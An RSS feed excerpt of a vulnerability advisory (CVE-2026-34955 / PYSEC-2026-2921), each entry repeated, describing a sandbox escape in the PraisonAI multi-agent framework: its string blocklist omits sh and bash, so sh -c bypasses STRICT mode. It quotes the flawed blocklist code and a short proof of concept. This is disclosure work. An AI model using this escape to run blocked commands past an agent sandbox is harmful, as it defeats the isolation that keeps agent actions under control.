https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 12 Oct 2026 02:45:54 +0000 https://vulnerability.circl.lu/vuln/cve-2026-34955 <p><strong>Affected:</strong> MervinPraison PraisonAI</p> <p>PraisonAI is a multi-agent teams system. Prior to version 4.5.97, SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c &#39;&lt;command&gt;&#39;. This issue has been patched in version 4.5.97.</p> <p><strong>Affected:</strong> MervinPraison PraisonAI</p> <p>PraisonAI is a multi-agent teams system. Prior to version 4.5.97, SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c &#39;&lt;command&gt;&#39;. This issue has been patched in version 4.5.97.</p> https://vulnerability.circl.lu/vuln/cve-2026-34955 https://vulnerability.circl.lu/vuln/pysec-2026-2921 <p><strong>Affected:</strong> PyPI: praisonai</p> <p>### Summary</p> <p>`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c &#39;&lt;command&gt;&#39;`.</p> <p>### Details</p> <p>`sandbox_executor.py:179` (source) -&gt; `sandbox_executor.py:326` (sink) ```python # source -- string-pattern blocklist, sh and bash not in blocked_commands cmd_name = Path(parts[0]).name if cmd_name in self.policy.blocked_commands: # sh, bash not blocked raise SecurityError(...) dangerous_patterns = [ (&#34;| sh&#34;, ...), # requires space -- &#34;id|bash&#34; evades this (&#34;| bash&#34;, ...), # requires space ]</p> <p># sink -- shell=True spawns /bin/sh regardless of sandbox mode result = subprocess.run( command, shell=True, ... ) ```</p> <p>### PoC ```python # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai import sys sys.path.insert(0, &#39;src/praisonai&#39;) from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode</p> <p>policy = SandboxPolicy.for_mode(SandboxMode.STRICT) sandbox = SubprocessSandbox(policy=policy)</p> <p>result = sandbox.execute(&#34;sh -c &#39;id&#39;&#34;) print(result.stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ```</p> <p>### Impact</p> <p>Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocke…</p> <p><strong>Affected:</strong> PyPI: praisonai</p> <p>### Summary</p> <p>`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c &#39;&lt;command&gt;&#39;`.</p> <p>### Details</p> <p>`sandbox_executor.py:179` (source) -&gt; `sandbox_executor.py:326` (sink) ```python # source -- string-pattern blocklist, sh and bash not in blocked_commands cmd_name = Path(parts[0]).name if cmd_name in self.policy.blocked_commands: # sh, bash not blocked raise SecurityError(...) dangerous_patterns = [ (&#34;| sh&#34;, ...), # requires space -- &#34;id|bash&#34; evades this (&#34;| bash&#34;, ...), # requires space ]</p> <p># sink -- shell=True spawns /bin/sh regardless of sandbox mode result = subprocess.run( command, shell=True, ... ) ```</p> <p>### PoC ```python # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai import sys sys.path.insert(0, &#39;src/praisonai&#39;) from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode</p> <p>policy = SandboxPolicy.for_mode(SandboxMode.STRICT) sandbox = SubprocessSandbox(policy=policy)</p> <p>result = sandbox.execute(&#34;sh -c &#39;id&#39;&#34;) print(result.stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ```</p> <p>### Impact</p> <p>Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocke…</p> https://vulnerability.circl.lu/vuln/pysec-2026-2921